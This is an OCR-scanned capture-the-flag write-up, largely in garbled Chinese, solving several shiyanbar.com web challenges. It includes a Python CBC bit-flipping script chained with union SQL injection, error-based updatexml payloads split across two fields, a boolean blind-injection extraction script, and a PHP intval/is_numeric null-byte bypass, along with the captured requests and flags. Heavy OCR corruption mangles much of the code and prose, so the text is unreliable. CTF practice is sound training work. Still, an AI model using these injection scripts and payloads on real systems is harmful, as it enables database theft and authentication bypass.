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i) ctf5.shiyanbar.com/web/jiandan/index.php

Login Form

input id to login

hello

Login

MR- #n

Request

J Raw I Params THeaders Hex

Response

Raw | Headers | Hex | XML

POST /web/jiandan/index.php HTTP/1.1
Host: ctf5.shiyanbar.com

User-Agent: Mozilla/5.0 (Macintosh;
rv:60.0) Gecko/20100101 Firefox/60.0
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,%/%*;q
=0.8

Accept-Language:
zh-CN,zh;g=0.8,2zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2

Intel Mac O0S X 10.13;

Accept-Encoding: gzip, deflate

Referer: http://ctf5.shiyanbar.com/web/jiandan/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

Cookie: iv=zIjlKvE%2FJzEU5GF0jPGtKg%3D%3D; I
cipher=M2i01fx%2BHZIm100%2BX3VeGegASh%2BDp2r05jQgAgWYgQE%3D
; Hm_lvt_34d6£f7353ab0915a4c582e4516dffbc3=1530840464;

Hm lpvt_34d6£7353ab0915a4c582e4516dffbc3=1530844943;

Hm cv_34d6£f7353ab0915a4c582e4516dffbe3=1*visitor*154661%2Cn
ickName%3A%E8%B0%81%E7%$9A%84%E5%90%8ASE6%9C%80%E5%A4%A7;
PHPSESSID=sé6ntvgt71lr7dqvdsvs2qj40d87

DNT: 1

Connection: close

Upgrade-Insecure—-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

id=hello&submit=Login

BE testphp » KILZ indexphp HKIVERY .

&lt;?php

define(&quot;SECRET_KEY&quot;, &#039;, ***********&#039;);

define(&quot; METHOD&quot;, &quot;aes-128-cbcé&quot;);

error_reporting(0);

include(&#039;conn.php&#039;);

function sqliCheck($str){

if(preg_match(&quot;A\\|,|-|#|=| ~|union|like|procedure/i&quot;, $str) ){
return 1;

}

return O;

}

function get_random_iv(){

HTTP/1.1 200 OK
Date: Fri, 06 Jul 2018 02:43:36 GMT
Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29

P/5.3.29
tips: test.php

Set-Cookie:
cipher=VGXvBGDMGONzLPCdigw80gQHlv68FykNPEcFJwP73%2B8%3D
Content-Length: 35

Connection: close

Content-Type: text/html

WgZJ3s62c%$2Fobubu8us0Q%3D%3D

<hl><center>Hello!</center></hl>

T




$random_iv=&#039;&#039;;
for($i=0;$i&lt;16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random _iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie(&quot;iv&quot;, base64_encode($iv));
setcookie(&quot;cipher&quot;, base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE[&#039;cipher&#039;]) &amp;&amp; isset($_COOKIE[&#039;iv&#039;])){
$cipher = base64_decode($_COOKIE[&#039;cipher&#039;]);
$iv = base64_decode($_COOKIE[&quot;iv&quot;]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die(&quot;<p>base64_decode(""
$sql="select * from users limit ".$info['id"].",0";
$result=mysqli_query($link,$sql);

.base64_encode($plain).") can't unserialize</p>");

if(mysqli_num_rows($result)&gt;0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);

echo '<h1>Hello!".$rows['username'].'</h1>";

}

else{

echo '<h1>Hello! </h1>";

}

}else{

die("ERROR!");

}
if(isset($_POST['id'])){
$id = (string)$_POST['id";
if(sqliCheck($id))
die("<h1 style="color:red">sql inject detected!</h1>");
$info = array('id'=&gt;$id);
login($info);
echo '<h1>Hello! </h1>';
telse{
if(isset($_COOKIE["iv"])&amp;&amp;isset($_COOKIE['cipher'])){
show_homepage();
else{
echo'
<div id="wrapper" style="margin:0 auto;width:800px">
<form name="login-form" class="login-form" action=""
<div class="header">
<h1>Login Form</h1>
<span=input id to login</span>
</div>
<div class="content">

method="post">

</div>
<div class="footer">
<p></p>
</div>
</form>



</div>

}

}
7&gt;
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Request

Raw | Params | Headers | Hex

Response

J Raw T Headers T Hex TXML ]

POST /web/jiandan/index.php HTTP/1.1

Host: ctf5.shiyanbar.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.13;
rvi60.0) Gecko/20100101 Firefox/60.0

Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,%/%;q
=0.8

Accept-Language:
zh-CN,zh;g=0.8,2zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2

Accept-Encoding: gzip, deflate

Referer: http://ctf5.shiyanbar.com/web/jiandan/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

Cookie: 1iv=zIjlKvE%2FJzEUSGF0JjPGtKg%3D%3D;
cipher=M2101£fx%$2BHZIm1l00%2BX3VeGegASh%2BDp2r05jQgAgWYgQES3D
; Hm_lvt_ 34d6£f7353ab0915a4c582e4516dffbc3=1530840464;
Hm_lpvt_34d6£7353ab0915a4c582e4516dffbc3=1530844943;
Hm_cv_34d6£7353ab0915a4c582e4516dffbe3=1*visitor*154661%2Cn
1ckName$3A%SE8%B0%81%E7%9A%84%E5%90%8A%E6%9C%80%E5%A4%AT7;
PHPSESSID=s6ntvgt71lr7dgvdsvs2qj40d87

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

trol: no-cache

ubmit=Login

HrcookietZ ik 55 a3 B B R HAT I E

Request

Raw | Params | Headers | Hex

HTTP/1.1 200 OK

Date: Sat, 07 Jul 2018 13:59:45 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29

T CestC.plp
Set-Cookie: iv=PfcCN33I74Iw7GwN6x3NTw$3D%3D
Set-Cookie:

cipher=54WPnk%2FgAQwVRriZRbKqzNymc4RPynCzpPatIJov5£4%3D
T

Tt oS
Connection: close
Content-Type: text/html

<hl><center>Hello!</center></hl>

Response

Raw | Headers | Hex | XML

POST /web/jiandan/index.php HTTP/1.1

Host: ctfS5.shiyanbar.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.13;
rv:60.0) Gecko/20100101 Firefox/60.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;gq
=0.8

Accept-Language:
zh-CN,zh;gq=0.8,2zh-TW;g=0.7,zh-HK;g=0.5,en-0US;g=0.3,en;g=0.2

Accept-Encoding: gzip, deflate
Referer: http://ctf5.shiyanbar.com/web/jiandan/index.php
Content-Type: application/x-www—form-urlencoded

PP PR

Cookie: iv=PfcCN33I74Iw7GwN6x3NTw%3D%3D;
cipher=S4WPnk%2FgAQwVRriZRbKqzNymc4RPynCzpPatIJov5£f4%3D;
l'.U.II_J.VL_J‘kUO.L F000abVUZ1oaaCo0aC30Ll0ULlLDCO=100U03Ua0a,
Hm_lpvt_34d6£f7353ab0915a4c582e4516dffbc3=1530844943;
Hm_cv_34d6£f7353ab0915a4c582e4516dffbe3=1*visitor*154661%2Cn
ickName%3A%E8%B0%81%E7%9A%84%E5%90%8A%E6%9C%80%E5%A4%A7;
PHPSESSID=sé6ntvgt7lr7dqvdsvs2qj40d87

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

BeA%EIag, HERZIRBUBA S —RRATIdRS, 7 d98, (ERH ZRIEZivAlcipher(l, BASMULIER, M cbckliEE—
NFFHTBE (RE—AT USRS RS EHIdE, REEEcbeliF Btk — 2 & ZE R RN FRAEEONRINEER, &3

SqQREANEED

1. WAL EANFSQLIESR), Wid=12,

B KRB Bplain (WRE T REATLMERE) .

o > W N

i A

HTTP/1.1 200 OK

Date: Sat, 07 Jul 2018 14:00:10 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29

tips: test.php

Content-Length: 41

Connection: close

Content-Type: text/html

<hl><center>Hello!rootzz</center></hl>

&8 3 Miv. cipher, Fcbc i cipherst Mid=1241 2/, 75 Fcipher_new, #23iv. cipher new.

fEiv. plain, ‘id=12"FHE—1T (16NFEHRN—IT) , #HITRBEE, BHliv_new.
fEiv_new. cipher_new, Z#id=xx postZ| R4 2:BIRI 52 id=1# KL HE, BiHello!rootzz.




#!/usr/bin/env python

#-*- coding: utf-8 -*-

@Author : darkNOte

@Create date : 2018-07-07
@description : FEE % B E%E
@Update date :

from base64 import *

import urllib

import requests

import re

def denglu(payload,idx,c1,c2):
url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
payload = {'id": payload}
r = requests.post(url, data=payload)
Set_Cookie=r.headers['Set-Cookie']
iv=re.findall(r"iv=(.*?),", Set_Cookie)[0]
cipher=re.findall(r"cipher=(.*)", Set_Cookie)[0]
iv_raw = b64decode(urllib.unquote(iv))
cipher_raw=b64decode(urllib.unquote(cipher))
Ist=list(cipher_raw)
Ist[idxX]=chr(ord(Ist[idX])"ord(c1)"ord(c2))
cipher_new=".join(Ist)
cipher_new=urllib.quote(b64encode(cipher_new))
cookie_new={'iv": iv,'cipher":cipher_new}
r = requests.post(url, cookies=cookie_new)
cont=r.content
plain = re.findall(r"base64_decode\('(.*?)"\)", cont)[0]
plain = b64decode(plain)
first="a:1:{s:2:"id";s:'
iv_new="
for i in range(16):

iv_new += chr(ord(first[i])ord(plain[i])ord(iv_rawfi]))

iv_new = urllib.quote(b64encode(iv_new))
cookie_new = {'iv": iv_new, 'cipher': cipher_new}
r = requests.post(url, cookies=cookie_new)
rcont = r.content
print rcont

denglu('12',4,'2' '#')

denglu('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2",'u’)

denglu('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp
database())b join (select 3)c);'+chr(0),7,'2','u’)

denglu("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regex
p 'you_want')b join (select 3)c);"+chr(0),7,'2','u’)

denglu("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0),6,'2','u’)

"REIGR

<h1><center>Hello!rootzz</center></h1>

<h1><center>Hello!2</center></h1>
<h1><center>Hello!users,you_want</center></h1>
<h1><center>Hello!value</center></h1>
<h1><center>Hello!flag{c42b2b758a5a36228156d9d671c37f19}</center></h1>

SHHER



e https://www jianshu.com/p/4c1e5d24d781 .
e https://blog.csdn.net/csu_vc/article/details/79619309 .
e https://blog.csdn.net/jeffreynnn/article/details/77100389 .

BEEEXR
7 H B8 http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

WA H A MD5 I B ISQLIEAN , SEER: hitps://blog.csdn.net/greyfreedom/article/details/45846137 , FEAJRHE A

S REF
sql="SEILECTx rnn Mmlm;mnlfnmpmmnm_ @ 1/ maccurard traa) 7. XERE—ANanl  HAPETRIVE N HER iR

4 | 1 3

@ -» { (O ctf5.shiyanbar.com/web/houtai/ffifdyop.r

'y SR EEAN

i B ¥ 8 http://ctf5.shiyanbar.com/web/baocuo/index.php
*T}FWJ ﬁﬁ%ﬁﬁﬁg%tﬂ T JX# Eﬁ‘n o

<center><h1>Please login!</h1></center><br><center>tips:post username and password...</center>
<I-- $sql="select * from users where username='$username' and password="8password"’; -->

u] LA FsqliE &) # X usernameFpassword.




& Q ® @ -ctfs.shiyanbar.com/web/baocuo/index RTINS + D > S —

Sql injection detected

¥ O EEx Dafae OBEEs () #3KE8 O M @ HackBar » H e X

@ Load URL http://ctf5.shiyanbar.com/web/baocuo/index.php
Split URL
& Y
Execut - - -
) Execute Post data | Referrer © User Agent " Cookies
Post Data username=admin' or '1'="18bassword=admin
y/

WG RIA sqQuENKR, EASHT. #H username=admin’ or '1&amp;password=admin F] LRI ER T, HHEHEHA2E
Flag, #4flaghlZEHREES, TEHTRE. #HbpFlHfuzzs #5tusernamefpassword 737 #4748 .

‘e0e@® Intruder attack 1
Attack Save Columns

J Results TTarget T Positions T Payloads TOptions ]

‘ Filter: Showing all items ‘
Request | Payload | Status |Error | Timeout |Length 4| Comment

26 , 200 @] g 270 0
43 (test) 200 @] d 270

4 # 200 @] d 273

19 ; 200 @] g 273

35 union 200 O O

36 sleep 200 @] g 273

37 limit 200 @] d 273

38 order 200 @] g 273

39 substr 200 @] g 273

40 sleep 200 O g 273 v




Request | Response ]

J Raw T Headers T Hex ]

HTTP/1.1 200 OK A
Date: Sat, 07 Jul 2018 15:37:21 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29

X-Powered-By: PHP/5.3.29

Content-Length: 70

Connection: close

Content-Type: text/html

<center style='color:red'><hl>Sqgl injection detected</hl></center><br> ¥

? < + > Type a search term 0 matches

_Finished =/

KPusernameit 3 T &/ S, HEKH T IHKupdatexml, passwordid 3 T updatexml, BrLA, EZE—T, W] LMEHXPERIEH
BEATIREEEN

username=1' and updatexml/*&password="/(1,concat(0x7e,(SELECT database()),0x7e),1)or'1
¥ AsqiERN:

select * from users where username="1' and updatexmil/* and password=""/(1,concat(0x7e,(SELECT database()),0x7e),1)or'1’

5t ¥ payload

username=1' and updatexml/*&amp;password="*/(1,concat(0x7e,(SELECT database()),0x7e),1)or"1
<br>XPATH syntax error: '~error_based_hpf~'

username=1' and updatexml/*&amp;password="/(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where !
(table_schema'error_based_hpf') ),0x7e),3)or'1
<br>XPATH syntax error: '~ffll44jj,users~'

username=1"' and updatexml/*&amp;password=*/(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns wh
ere !(table_name'ffll44jj') ),0x7e),3)or'1
<br>XPATH syntax error: '~value~'

username=1' and updatexml/*
&amp;password="/(1,concat(0x7e,(SELECT value from ffll44jj),0x7e),3)or'1
<br>XPATH syntax error: '~flag{errOr_b4sed_sqli_+_hpf}~'



& C @ ctf5.shiyanbar.com/web/baocuo/index.php B e Py » =

XPATH syntax error: '~flag{errOr_b4sed_sqli_+_hpf}~'

v CrEEx HDtle DOBERsE () #kRmEsE C Mg @ HackBar  » H e X

& Load URL http://ctf5.shiyanbar.com/web/baocuo/index.php

U split URL

& VY

E t - - -
2 =eee Post data [ | Referrer ' ' User Agent | = Cookies
Post Data username=1' and updatexml/*&password="/(1,concat(0x7e,(SELECT
value from ffll44jj),0x7e),3)or'1
VY
WH— !

8 B 4% http://shiyanbar.com/ctf/2009



EIEHE, EENRT T,

& @  ( ctf5.shiyanbar.com/web/earnest/index.php BE | see Y@

Please input the id

Youarein .....coonn.....

HEER, RRELZSEHTEN, RERBEEEDKflag. 58T — Tfuzz, BK/ANHB02HIHR &4 U8 71 .

Request | Payload | Status | Error | Timeout | Length 4| Comment
4 # 200 UJ U 802
6 % 200 uJ U 802
7 A 200 U U 802
17 | 200 U uJ 802
19 : 200 U uJ 802
26 , 200 U UJ 802
29 | 200 UJ UJ 802
32 and 200 UJ U 802
35 union 200 uJ U 802
36 sleep 200 U uJ 802
39 substr 200 U U 802
40 sleep 200 UJ J 802
0 200 U uJ 908
1 ~ 200 U uJ 911
2 ! 200 UJ U 911

Request Response]

J Raw T Headers T Hex T HTML T Render 1

<form action= method="post" style="margin:0
auto;width:1200px;height:100px;padding-top:50px; ">
<pre>Please input the id</pre>
<input type="text" name="id">
<br><br>
<input type="submit" name="submit">
<br><br>
<hl style='color:red'>S8ql injection detected!</hl>

Z HAMR, ZEEN or WHAT T AE, FEMHANESRT, BorE, EETSHRETET, A 4A%098 %A, B
Jainformationft 4 Bl R # k225, HREEEinformationh & &or, FEBERE. 5E—ANZ0BEMAR, BE/4AHBimitioffset
W% . RIETEER T substr, EREARITEEmMId, Hmid(table from offset)Bi 7], i FHEEMA.

# -* coding: utf-8 -*
import requests
import urllib



url = 'http://cttb.shiyanbar.com/web/earnesvindex.php’
temp =0
headers = {
"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzp, deflate”,
"Referer": "http://ctf5.shiyanbar.com/web/earnest/index.php",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "81",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1"
ki
def make_payload(target):
return target.replace(' ','%09').replace('or','Or")

def get_length(target): #HKFERKE

global headers

global url

for i in range(0,50):
print i
payload = target|:-5]+str(i)+target[-5:]
payload = urllib.unquote(make_payload(payload))
#print payload
data = {"id":payload,"submit":"%E6 %8F %90%E4 %BA%A4 %E6 %IF %A5%E8 %AF %A2"}
content = requests.post(url=url, headers=headers,data=data).text
#print content
if "You are in" in content:

return i
return 0

def search2(l,rtarget): # —HEZH, KREFZT
if 1&gt;r:
return
global headers
global url
global temp
mid = (I+r)/2
payload = target[:-5]+str(mid)+target[-5:]
payload = urllib.unquote(make_payload(payload))
print payload
data = {"id":payload,"submit":"%E6 %8F %90%E4 %BA%A4 %E6 %9F %A5%E8 %AF %A2"}
content = requests.post(url=url,headers=headers,data=data).text
if "You are in" in content:
temp = max(temp,mid)
search2(mid+1,r target)
else:
search2(l,mid-1, target)

def get_content(column table,offset len where,sign): #iX 4 £ 2472 % T #i&payload
global temp
content ="
foriin range(1,len+1):
temp =0
if sign==0:
payload = "0'Or(select ascii((select mid("+str(column)+" from "+str(i)+") from "+str(table)+" limit 1 offset "+str(offset)+"))&gt;=)Or'0"
else:
payload = "0'Or(select ascii((select mid("+str(column)+" from "+str(i)+") from "+str(table)+" "+str(where)+" limit 1 offset "+str(offset)+"))&
at;=)0r'0"



search2(0,255 payload)
content+=chr(temp)
print content

return content

#payload = "0'Or(length((select schema_name from information_schema.schemata limit 1 offset 1))=)Or'0"
#len = get_length(payload) #18
#database = get_content('schema_name','information_schema.schemata',"1",18,0,0) #ctf_sql_bool_blind#test

# HRFEE

#payload = "0'Or(length((select table_name from information_schema.tables where table_schema=0x6374665f73716c5f626f6f6c5f626c696e6
4 limit 1 offset 0))=)Or'0"

#len = get_length(payload) #4,5

#table = get_content('table_name’,'information_schema.tables',"0",4,'where table_schema=0x6374665f73716c5f626f6f6c5f626c696e64',1) #fi
ag

# KI5

#payload = "0'Or(length((select column_name from information_schema.columns where table_name=0x66696167 limit 1 offset 0))=)Or'0"
#len = get_length(payload) #5

#column = get_content('column_name','information_schema.columns',"0",5,'where table_name=0x66696167',1) #fL$4G

#payload = "0'Or(length((select fL$4G from fiag limit 1 offset 0))=)Or'0"
#len = get_length(payload) #19
flag = get_content('fL$4G','fiag',"0",19,'0',0) #flag{haha~you win!}

R E K< PHPY
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Vi B )5 LE S — RN, BF 60525af4059b4fe7d8c33a.txt U1 o

& @ (@ ctf5.shiyanbar.com/web/PHP/index.php A RTTI o D> S
have a fun!!

(v OEER DORfle OREE8 (IA8REESR O ME =RNE » H e X
Tar T3 URL [ (O 58EE () 2EEE FPR $ HARS

FfiE HTML CSS JS XHR ==& Eifg Bk ws Hi

K& A& X A RhRIRK &E &4 K

index.php fa ctf5.shi..document  html 285 F15

QG 1MER EffMI12F1/285F% A 23ZX  DOMContentLoaded: 42 ZF)  load: 55 Z#)

[ JEEsk Cookie B¥ AN N ERER
iERMut: http://ctf5.shiyanbar.com/web/PHP/index.php
ERAE: GET
iniZibiit: 106.2.25.10:80
R ® HmENER FEk
hRZ: HTTP/1.1
PUNHEESOR
MRk (273 F7)
Connection: Keep-Alive
Content-Length: 12
Content-Type: text/html

Date: Mon, 09 018 01:4/7:10 ]

hint: 6¢525af4059b4fe7d8c33a.txt

BE B RIL indexphp KITERFD, #HATH T
<?php

$info =",

$req =1l;

$flag="x0000000xx";

ini_set("display_error", false);
error_reporting(0);

N imant/ D PAOT Mt b NS



NISSEUD_FUD || TIUITIDET |)){

header("hint:6¢525af4059b4fe7d8c33a.txt");

die("have a fun!!");

}

foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);

NH B3 F A2 7 A2 [ 4L
function is_palindrome_number($number) {
$number = strval($number);

$i=0;
$j = strlen($number) - 1;
while($i < $j) {

if($number[$i] == $number[$j]) {
return false;

}

$it++;

$j--;
}

return true;

if(is_numeric($_REQUEST['number')){
$info="sorry, you cann't input a number!";
lelseif($req['number']!=strval(intval($req['number']))){
$info = "number must be equal to it's integer!! ";
telse{
$value1 = intval($req["number"]);
IIstrrev() BREUR #FZ R .
$value2 = intval(strrev($req["number"));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
telse{
if(is_palindrome_number($req["number"])){
$info = "nice! {$valuel} is a palindrome number!";
telse{

Sinfo=$flag;
}

echo $info;

S H T BRATT LR B IR E AV E Z Bflag, POSTHInumber 23 & LA T %1+



1.

>

M=,
2. REgR—AEXH. (is_palindrome_numberfli) .
3. ZE R B BUE RS E A 5 BB A E .

T HH R
) F intvaleg $ s H geid
Intval & $ 3R B2 & 850 {E .

BErgR— M ER ST, /. (His_numericEREFAINT) .

Intvalf K E B R THRIER L. 32 M ARARKHH S integer T -2147483648 T 2147483647, 2445, EXFEHIREE
k., intval(*1000000000000’) &R [l 2147483647, 64 fL &% &, &KW FF5 M integer {2 9223372036854775807 .
A EEBRAIAE RS R ERERARI2MN, FrARAIME214748364 73 7T ARIRT 2, 3%4F. @i 7R/ gkt
is_numericI I (W1%00,%20) BT AFRAT#iE L Fpoc, number=2147483647%00 Flnumber=2147483647%20%% ] .
XFE—ANF, RINFBEEGER LRI poctk REBAIM NIELUE, BEXNAEMEERMEE, BT 488 T RFNT T

o

T 23 WK His_numericERBON T 2 F#5%00, Tk 2 %O00MAE Bl f5 #F 7T LA W JEBUE, T %2073 #7175 R BECE BUiE
Jao FTEL, BEERFERIZRENNTH - NER PRSP TR TR, BB RmAb !

Raw | Params | Headers | Hex

Raw | Headers | Hex

POST /web/PHP/index.php HTTP/1l.1
Host: ctf5.shiyanbar.com

User-Agent: Mozilla/5.0 (Macintosh;
rv:6l.0) Gecko/20100101 Firefox/61.0
Accept:
text/html,application/xhtml+xml,application/xml;gq=0.9,%/%;q
=0.8

Accept-Language:
zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2

Intel Mac O0S X 10.13;

Accept-Encoding: gzip, deflate

Referer: http://ctf5.shiyanbar.com/web/PHP/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

Cookie:
Hm_1lvt_34d6£7353ab0915a4c582e4516dffbc3=1530840464;
Hm_cv_34d6£f7353ab0915a4c582e4516dffbe3=1*visitor*154661%2Cn
1ckName%3A%E8%B0%81%E7%9A%84%E5%90%8A%E6%9C%80%E5%A4%A7
DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

number=%002147483647

R#H#E T BiE & 0=0

e

HTTP/1.1 200 OK

Date: Mon, 09 Jul 2018 02:24:13 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Powered-By: PHP/5.3.29

Content-Length: 26

Connection: close

Content-Type: text/html

FLAG{2dd8711082fe24cl9%ae8}



B ZR A BE N B SCHL, B B Rintval(
req|”number”])= intval (strrev( req[“number”])), FTAFRATR AR 28025 E poc Inumber=0e-0%00, X

Request

J Raw T Params T Headers T Hex ]

POST /web/PHP/index.php HTTP/1.1

Host: ctf5.shivanbar.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
rv:6l.0) Gecko/20100101 Firefox/61.0

Accept:
text/html,application/xhtml+xml,application/x
=0.8

Accept-Language:
zh-CN,zh;g=0.8,zh-TW;g=0.7,2zh-HK;g=0.5,en-US;

Accept-Encoding: gzip, deflate

Referer: http://ctf5.shivanbar.com/web/PHP/in
Content-Type: application/x—-www—-form-urlencod
Content-Length: 14

Cookie:

Hm lvt 34d6f7353ab0%915a4c582e4516dffbc3=15308
Hm cv_34d6f7353ab0915a4c582e4516dffbe3=1*visi
ickName%3A%SE8%B0%81%E7%0A%84%E5%90%8A%E6%9C%8
DNT: 1

Connection: close

Upgrade—-Insecure—Requests: 1

Pragma: no-cache

Cache-Control: no-cache

number=0e-0%00|
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